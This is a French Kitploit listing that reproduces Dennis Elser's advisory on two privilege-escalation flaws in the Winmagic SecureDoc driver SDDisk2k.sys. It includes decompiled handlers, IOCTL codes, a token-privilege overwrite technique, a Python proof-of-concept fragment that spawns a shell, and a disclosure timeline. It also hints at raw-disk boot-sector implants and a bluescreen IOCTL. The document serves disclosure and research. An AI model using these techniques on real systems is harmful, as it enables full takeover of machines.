Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
winmagic_sd — Analyse technique et exploit PoC pour CVE-2020-11519 et CVE-2020-11520 | Kitploit
Outils/GitHubGitHub/patois/winmagic_sd
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationRétro-ingénierieArticles et RechercheApprentissage et ÉducationExploitation de Binaires
GitHubpatois/winmagic_sd

winmagic_sd

Analyse technique et exploit PoC pour CVE-2020-11519 et CVE-2020-11520

Voir le dépôt
123il y a 3 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

Analyse technique de CVE-2020-11519 et CVE-2020-11520

Date : juin 2020

Auteur : Dennis Elser (code : github)

Table des matières

  • Introduction
  • Approche et description technique
    • CVE-2020-11519
    • CVE-2020-11520
  • Exploit de preuve de concept
  • Calendrier de divulgation
  • Solution
  • Sommes de contrôle
  • Références

Introduction

En référence à sa présentation web, Winmagic SecureDoc « permet aux entreprises de gérer la sécurité de leur environnement informatique de manière efficace en tirant parti de fonctionnalités telles que : le chiffrement complet du disque (FDE), l’authentification multi-facteurs, le chiffrement des conteneurs de supports amovibles (RMCE) et le chiffrement des fichiers et dossiers (FFE). Ces fonctionnalités aident les entreprises à renforcer la sécurité, à réduire les risques métier et à satisfaire aux exigences gouvernementales et réglementaires en matière de chiffrement des disques durs. »

Le produit Winmagic SecureDoc, disponible en éditions autonome et entreprise, est affecté par deux vulnérabilités locales d’élévation de privilèges (CVE-2020-11519 et CVE-2020-11520) dans les versions 8.3 et 8.5. Après le signalement des vulnérabilités à Winmagic fin mars, l’éditeur a publié un correctif (version 8.5SR2) à la mi-juin 2020. Toutefois, ce correctif s’est avéré insuffisant pour traiter les vulnérabilités, ce qui a également rendu la version 8.5SR2 vulnérable aux failles signalées. Bien que les détails techniques concernant les vulnérabilités aient été retenus pour cette raison, les failles doivent être considérées comme publiques depuis lors. Selon l’éditeur, un autre correctif était encore en préparation, environ 106 jours après le signalement initial de la vulnérabilité à Winmagic. Le 15 juillet, 111 jours après le signalement initial de la vulnérabilité à l’éditeur, Winmagic a publié SecureDoc v8.5 SR2 HF1 pour ses clients, qui corrige apparemment CVE-2020-11519 et CVE-2020-11520. Les versions de SecureDoc antérieures à 8.3 n’ont pas été testées, mais on peut supposer qu’elles sont également affectées, en fonction du code du composant concerné.

L’exploitation réussie de l’une de ces vulnérabilités conduit à une élévation de privilèges jusqu’au compte SYSTEM pour des attaquants authentifiés localement.

Approche et description technique

Les deux vulnérabilités affectent le composant « SDDisk2k.sys », un pilote noyau fourni avec le produit Winmagic SecureDoc. Les failles de sécurité ont été identifiées par analyse statique manuelle à l’aide du désassembleur et décompilateur Hex-Rays IDA Pro. Rétrospectivement, ces faiblesses auraient pu être découvertes avec beaucoup moins d’efforts si des approches de test dynamique telles que le fuzzing avaient été utilisées à la place. En effet, le pilote peut être interfacé à partir d’applications limitées en mode utilisateur et suppose par défaut que leurs entrées sont bien formées.

CVE-2020-11519

En raison de la création non sécurisée d’un objet de périphérique « SecureDocDevice » par le pilote « SDDisk2k.sys » et de l’absence de code permettant de mettre en place un descripteur de sécurité approprié, même les comptes d’utilisateurs limités ont la capacité d’obtenir un handle sur le périphérique à l’aide de la fonction API CreateFile(). En accordant à une application en mode utilisateur un handle vers son objet de périphérique, le pilote ouvre ainsi un chemin direct vers sa surface d’attaque dans le noyau.``` c RtlInitUnicodeString(&DestinationString, L"\Device\SecureDocDevice"); RtlInitUnicodeString(&SymbolicLinkName, L"\DosDevices\SecureDocDevice"); if ( IoCreateDevice(v1, 0xDD8u, &DestinationString, 0x8D1Fu, 0, 0, &DeviceObject) >= 0 ) // <--- unsafe { memset(DeviceObject->DeviceExtension, 0, 0xDD8ui64); DeviceObject->Flags |= 4u; DeviceObject->AlignmentRequirement = 0; if ( IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString) < 0 ) IoDeleteDevice(DeviceObject); IoObject = DeviceObject; }

root@kitploit:~
Après avoir rétroconçu un certain nombre de gestionnaires de services [IOCTL](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes) du pilote « SDDisk2k.sys », il a été découvert qu'un d'entre eux expose des fonctionnalités critiques en mode utilisateur, en ce sens qu'il autorise des opérations de lecture et d'écriture sur les secteurs bruts d'un disque arbitraire - par conception. De plus, en s'interfaçant avec ce code même, il a été remarqué que le pilote ignore tout verrou exclusif qui aurait pu être défini précédemment sur un disque. Par conséquent, des opérations concurrentes de lecture/écriture deviennent possibles, ce qui facilite les conditions de concurrence et risque une perte de données.

Ce qui suit montre le gestionnaire de services IOCTL décompilé du pilote responsable du traitement des requêtes de lecture des secteurs bruts de disque. Il appelle une fonction sub_29CD4() avec un argument "controlled_buf", qui est un pointeur vers un tampon dont le contenu peut être choisi arbitrairement par toute application appelante en mode utilisateur :``` c
if ( ioctlcode == 0x8D1F2824 )   // <--- I/O control code for raw disk reading functionality
{
  controlled_buf = (unsigned __int8 *)controlled_addr;
  mode = 0;
  temp_result = sub_29CD4((char *)controlled_buf, v3, mode);   // <--- call to raw disk read function

En réalité, ce tampon contrôlé par l'attaquant est une structure dont les champs « offset », « length » et « ptr_buf » sont des arguments de fonction entièrement non vérifiés passés à un appel à IoBuildSynchronousFsdRequest(). Cette dernière fonction prépare un paquet de requête d'E/S IRP_MJ_READ (IRP) qu'elle envoie au pilote du système de fichiers sous-jacent à l'aide d'un appel à IofCallDriver() :``` c __int64 __fastcall sub_29CD4(char *controlled_addr, PIRP a2, char mode) { //[...snip...] // extract drive number and type (floppy/hd) from offset 0 devicetype_and_num = (unsigned __int8)*controlled_buf // <--- controllable from user mode

// advance pointer p = controlled_buf + 1;

// build device name if ( (devicetype_and_num & 0x80u) == 0 ) v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Floppy%d", devicetype_and_num); else v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Harddisk%d\Partition0", devicetype_and_num & 0x7F); v12 = v11; if ( v11 >= 0 ) { RtlInitUnicodeString(&DestinationString, &device_name);

root@kitploit:~
// get object pointer of drive
if ( IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject) >= 0
  || (v12 = sub_2C5D4(&DestinationString, &DeviceObject), v12 >= 0) )
{
  // extract further fields from structure
  offset = *(_QWORD *)(p + 0x4E);                    // <--- where to start reading from
  length = *(_DWORD *)(p + 0x56);                    // <--- number of bytes to read
  ptr_buf = *(void **)(p + 0x5A);                    // <--- ptr to destination buffer
  devobj = DeviceObject;
  StartingOffset.QuadPart = offset << 9;
  KeInitializeEvent(&Event, NotificationEvent, 0);
  
  // build request
  v17 = IoBuildSynchronousFsdRequest(
          (unsigned int)(mode != 0) + IRP_MJ_READ,   // <--- issue read request
          devobj,
          ptr_buf,
          length << 9,
          &StartingOffset,
          &Event,
          &IoStatusBlock);
  v18 = v17;
  if ( v17 )
  {
    v19 = v17->Tail.Overlay.CurrentStackLocation;
    if ( mode )
      v19[0xFFFFFFFF].Flags |= 0x10u;
    ObfReferenceObject(devobj);

    // send request to respective device object (issue read request)
    v12 = IofCallDriver(devobj, v18);

//[...snip...] }

root@kitploit:~
Tout comme la lecture de secteurs de disque bruts, l'écriture de secteurs de disque depuis le mode utilisateur est rendue possible en appelant le gestionnaire IOCTL 0x8D1F2820, qui traite la même structure de données et est implémenté de manière similaire. Étant donné la compatibilité avec le protocole de ce pilote, rien n'empêche des applications arbitraires en mode utilisateur de compromettre complètement le système d'exploitation. Sauf protection par un mécanisme de démarrage sécurisé, cela inclut même l'installation de logiciels autorisés à s'exécuter dès le processus de démarrage du système (ransomwares, bootkits, implants personnalisés...).

### CVE-2020-11520
Un examen plus approfondi des gestionnaires de service du pilote "SDDisk2k.sys" a révélé que les adresses mémoire provenant d'applications en mode utilisateur sont traitées sans validation préalable. Dans certains cas, la mémoire accédée par ces pointeurs est écrite aveuglément par le pilote, ce qui peut être exploité par des attaquants pour créer des primitives d'écriture noyau. Alors que toutes les primitives d'écriture permettent de contrôler directement **où** écrire les données, aucune n'a malheureusement été trouvée qui permettrait de contrôler directement **quoi** écrire. À l'exception de [CVE-2020-11519](#cve-2020-11519), dont l'exploitation dans ce contexte nécessiterait un détour supplémentaire par des opérations de lecture/écriture de disque, ce que je considère comme une approche sale et que je voulais donc éviter. Cependant, un gestionnaire particulier a été identifié qui, certes, ne permettait pas de contrôler les données elles-mêmes, mais s'est avéré suffisant pour être réutilisé par d'autres moyens.

Le code décompilé ci-dessous montre le gestionnaire de service du pilote pour le code IOCTL 0x8d1f282c. Il prend un nombre entier 16 bits "count" depuis un buffer contrôlé par l'utilisateur, puis s'assure qu'il ne dépasse pas une certaine limite. Enfin, un pointeur "dst" est acquis depuis le même buffer d'entrée contrôlé, mais il n'est jamais vérifié pour sa validité avant d'être passé comme argument à un appel ultérieur à memmove(). À ma déception initiale, le buffer "src" qui est passé comme argument à memmove() n'est pas contrôlé mais pointe plutôt vers une chaîne codée en dur ("FRNSecureDoc v4.1\0"), ce qui limite son utilité pour l'exploitation dans une certaine mesure. Évidemment, ce gestionnaire de service écrit un identifiant de version dans une adresse spécifiable par l'utilisateur, ce qui peut tout aussi bien être abusé pour le fingerprinting de versions vulnérables de Winmagic SecurDoc.``` c
// handler for I/O control code 0x8d1f282c

// get "count" from controlled buffer
count = *((_WORD *)controlled_buf + 5);

// if count is zero, return error
if ( !count )
{
  *((_WORD *)controlled_buf + 5) = 0x13;
  goto leave_dispatcher;
}

// otherwise further sanitize and limit "count"
if ( count >= 0x12u )
  count = 0x11;

// bug! controlled pointer, passed from userland!
dst = *(void **)(controlled_buf + 2);
src = aFrnsecuredocV4;   // <--- 'FRNSecureDoc v4.1',0

// unchecked write!
memmove(dst, src, count);
goto leave_dispatcher;

Cependant, le fait que cette adresse "dst" entièrement contrôlée pointe vers un emplacement approprié dans l'espace noyau détourne ce gestionnaire IOCTL et le transforme en primitive d'écriture noyau. En référence à [1] et [2], appeler ce gestionnaire de service avec "dst" pointant vers l'adresse noyau du jeton d'un processus, ou plus précisément, vers son membre "Privileges" à l'offset 0x40, pourrait conduire à une élévation de privilèges :)``` 0: kd> dt nt!_token ffffe40955f766b0 +0x000 TokenSource : _TOKEN_SOURCE +0x010 TokenId : _LUID +0x018 AuthenticationId : _LUID +0x020 ParentTokenId : _LUID +0x028 ExpirationTime : _LARGE_INTEGER 0x7fffffffffffffff +0x030 TokenLock : 0xffffd20ff9adee10 _ERESOURCE +0x038 ModifiedId : _LUID +0x040 Privileges : _SEP_TOKEN_PRIVILEGES [...snip...]

0: kd> dt nt!_SEP_TOKEN_PRIVILEGES ffffe40955f766b0+0x40 +0x000 Present : 0x00000006`02880000 +0x008 Enabled : 0x800000 +0x010 EnabledByDefault : 0x40800000

root@kitploit:~
La structure SEP_TOKEN_PRIVILEGES est un ensemble de bitmasks dont chaque bit individuel représente un indicateur de privilège. Par voie de conséquence logique, demander aimablement au pilote SecureDoc de stocker des parties de sa chaîne de version "FRNSecureDoc v4.1\0" dans la structure SEP_TOKEN_PRIVILEGES d'un jeton de processus devrait faire basculer quelques bits et, espérons-le, activer des privilèges utiles, du moins hypothétiquement. Il s'avère qu'en faisant stocker au pilote les deux premiers caractères de sa chaîne de version dans les offsets 1 et 2 du champ "Present" de la structure SEP_TOKEN_PRIVILEGE, un certain nombre de privilèges de jeton intéressants sont définis. Le caractère '**F**' extrait de "**F**RNSecureDoc v4.1\0" vaut 01000110 et définit donc le bit 9 (SeTakeOwnershipPrivilege), le bit 10 (SeLoadDriverPrivilege) et le bit 14 (SeIncreaseBasePriorityPrivilege) du champ "Present". Le caractère '**R**' vaut 01010010, définissant le bit 17 (SeBackupPrivilege), le bit 20 (SeDebugPrivilege) et le bit 22 (SeSystemEnvironmentPrivilege) :

| N° de bit ("Present") | Caractère | Byte         | Privilège |
| :--------------: | :-------: | ------------ | --------- |
| 8                | 'F'       | 0100011**0** | SeSecurityPrivilege |
| 9                | 'F'       | 010001**1**0 | **SeTakeOwnershipPrivilege** |
| 10               | 'F'       | 01000**1**10 | **SeLoadDriverPrivilege** |
| 11               | 'F'       | 0100**0**110 | SeSystemProfilePrivilege |
| 12               | 'F'       | 010**0**0110 | SeSystemtimePrivilege |
| 13               | 'F'       | 01**0**00110 | SeProfileSingleProcessPrivilege |
| 14               | 'F'       | 0**1**000110 | **SeIncreaseBasePriorityPrivilege** |
| 15               | 'F'       | **0**1000110 | SeCreatePagefilePrivilege |
| 16               | 'R'       | 0101001**0** | SeCreatePermanentPrivilege |
| 17               | 'R'       | 010100**1**0 | **SeBackupPrivilege** |
| 18               | 'R'       | 01010**0**10 | SeRestorePrivilege |
| 19               | 'R'       | 0101**0**010 | SeShutdownPrivilege |
| 20               | 'R'       | 010**1**0010 | **SeDebugPrivilege** |
| 21               | 'R'       | 01**0**10010 | SeAuditPrivilege |
| 22               | 'R'       | 0**1**010010 | **SeSystemEnvironmentPrivilege** |
| 23               | 'R'       | **0**1010010 | SeChangeNotifyPrivilege |

## Exploit de preuve de concept

Un [exploit de preuve de concept](https://github.com/patois/winmagic_sd/blob/master/sd_poc.py) a été développé en Python et débogué à l'aide du [débogueur de noyau WinDbg de Microsoft](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-toolsk), attaché à une machine virtuelle Windows 10 x64.

Cet exploit de preuve de concept acquiert l'adresse noyau du jeton de sécurité du processus en cours et, entre autres, active le privilège SeDebugPrivilege en exploitant les vulnérabilités décrites. Il passe ensuite au lancement d'un shell de commandes qui hérite des privilèges nouvellement élevés du jeton.

Avoir le drapeau SeDebugPrivilege défini permettra d'injecter du shellcode et de l'exécuter dans le contexte d'un processus SYSTEM - je vous laisse cependant cette partie ;)``` python
token_addr = sdi.get_token_obj()
if not token_addr:
    print("[!] Could not get address of token")
    sdi.close()
    return

print("[+] Got token object: %x" % token_addr)
print("[+] Patching token")
sdi.acquire_debug_privs(token_addr)
sdi.close()

os.system("cmd.exe")

Afin de ne pas mettre les données de quiconque en danger, la version publique de cette preuve de concept n'inclut aucun code actif de lecture/écriture de secteurs bruts sur disque utilisant CVE-2020-11519. Elle peut néanmoins être facilement transformée en installeur pour n'importe quel code que vous souhaiteriez voir exécuté par votre secteur de démarrage, si des appels aux fonctions disk_read_raw() et disk_write_raw() sont ajoutés. Et pourquoi ne pas installer et jouer une partie de tetros plutôt que d'installer des implants ? ;)

Ce qui suit montre les privilèges du jeton du processus actuel avant et après l'exécution de la preuve de concept, respectivement.``` C:\Users\re>whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State ============================= ==================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled

C:\Users\re>python3 sd_poc.py

EoP PoC for WinMagic SecureDoc 8.5

[+] Got a handle to driver [+] Got token object: ffffd68dd45d9990 [+] Patching token Microsoft Windows [Version 10.0.17134.1304] (c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\re>whoami /priv

PRIVILEGES INFORMATION

Privilege Name Description State =============================== ======================================== ======== SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled SeBackupPrivilege Back up files and directories Enabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled

root@kitploit:~
Le code de l'exploit PoC peut être trouvé [ici](https://github.com/patois/winmagic_sd/blob/HEAD/sd_poc.py). Il cible la v8.5 de Winmagic SecureDoc x64 mais pourrait fonctionner sur des versions plus anciennes (non testées).

Si vous êtes arrivé jusqu'ici mais que vous vous ennuyez toujours, n'hésitez pas à composer le code IOCTL 0x8D1F2848 ;)``` c
case 0x8D1F2848:
  DbgPrint("SDDEV_IO_BLUE_SCREEN comes in ...");
  if ( *(_WORD *)controlled_buf == 0x55AA
    && *(_QWORD *)(controlled_buf + 2)
    && *((_WORD *)controlled_buf + 5) == 4 )
  {
    StartContext = ExAllocatePoolWithTag(PoolType, 4ui64, 'gaMW');
    if ( !StartContext )
    {
      KeSetPriorityThread(KeGetCurrentThread(), 0x1F);
      KeBugCheckEx(0xE2u, 0x2D8ui64, **(unsigned int **)(controlled_buf + 2), 0i64, 'WM');
    }
    DbgPrint("SDDEV_IO_BLUE_SCREEN preps ...");
    *StartContext = **(_DWORD **)(controlled_buf + 2);
    if ( PsCreateSystemThread(
            &ThreadHandle,
            0x1FFFFFu,
            0i64,
            0i64,
            0i64,
            (PKSTART_ROUTINE)sub_23948,
            StartContext) < 0 )
      ExFreePoolWithTag(StartContext, 0);
    else
      ZwClose(ThreadHandle);
  }

Chronologie de divulgation```

Date | Comment

2020-03-27 | Shared vulnerability report with Winmagic representative 2020-03-28 | Winmagic confirmed receipt of vulnerability report 2020-04-04 | Shared CVE IDs CVE-2020-11519 and CVE-2020-11520 with Winmagic 2020-04-22 | Winmagic gave an estimated ETA of fix within 60-90 days 2020-06-14 | Winmagic shared pre-release of SecureDoc v8.5SR2 for testing 2020-06-17 | Informed Winmagic the fix doesn't properly address the vulnerabilities 2020-06-18 | Winmagic informed that SecureDoc v8.5SR2 had already been publicly released | in the meantime. According to this version's release notes, CVE-2020-11519 | and CVE-2020-11520 are addressed ("SD-34145: Windows Client Security | Vulnerability Report"). Winmagic representative asked whether holding back | information about the vulnerabilities was an option till the next scheduled | release date in autumn, in favour of a proper fix 2020-06-19 | Informed Winmagic about the common 90-days disclosure deadline and that | postponing a proper fix for incorrect but already released bugfixes | would put users at risk even more so 2020-06-19 | Winmagic informed that a hotfix for the flawed v8.5SR2 patch of | SecureDoc is being worked on, no ETA given 2020-06-22 | Asked for ETA of the hotfix 2020-06-23 | Winmagic provided information about an intended release of a hotfix within | a two week time frame, starting with the passing of the 90-days deadline 2020-06-30 | Asked Winmagic about the current status 2020-06-30 | Winmagic assured that a fix would be made available before 2020-07-08 2020-07-08 | Winmagic informed about delay of release to 2020-07-09 or 2020-07-10, latest 2020-07-10 | Public release of this information, no public fix available (106 days) 2020-07-15 | Winmagic released SecureDoc v8.5 SR2 HF1 (111 days)

root@kitploit:~
## Solution
Mettez à jour vers Winmagic SecureDoc v8.5 SR2 HF1.

## Sommes de contrôle
| Nom de fichier             | Version | Hash (SHA-256) |
| -------------------- | ------- | -------------- |
| SDDisk2k.sys (64bit) | 8.3.717 | 98D29D28BB9552D20BC78EB0BD12A57B921167565F3E47919EC2D61F24DA9241 |
| SDDisk2k.sys (64bit) | 8.5.445 | 1D9054C4B49267EEF63B2EB11EC563E036F9E6E2AC18D32597FA769934BB7E18 |

## Références
1. [Abuser des privilèges de jeton pour LPE](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt)
2. [Exploitation de CVE-2014-4113 sur Windows 8.1](http://jodeit.org/research/Exploiting_CVE-2014-4113_on_Windows_8.1.pdf)
3. [Exploitation locale facile du noyau Windows](https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf)
4. [J'ai 99 problèmes mais un pointeur noyau n'en est pas un](https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain%27t%20one.pdf)
5. [Exploitation des handles de processus et de threads divulgués](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
6. [Discussion Sourceforge sur l'appel de NtQuerySystemInformation à l'aide de ctypes](https://sourceforge.net/p/ctypes/mailman/message/34578496/)
7. [Notes de version de SecureDoc v8.5SR2](https://www.winmagic.com/support/release-notes/securedoc-v8-5-sr2)
Télécharger l’outil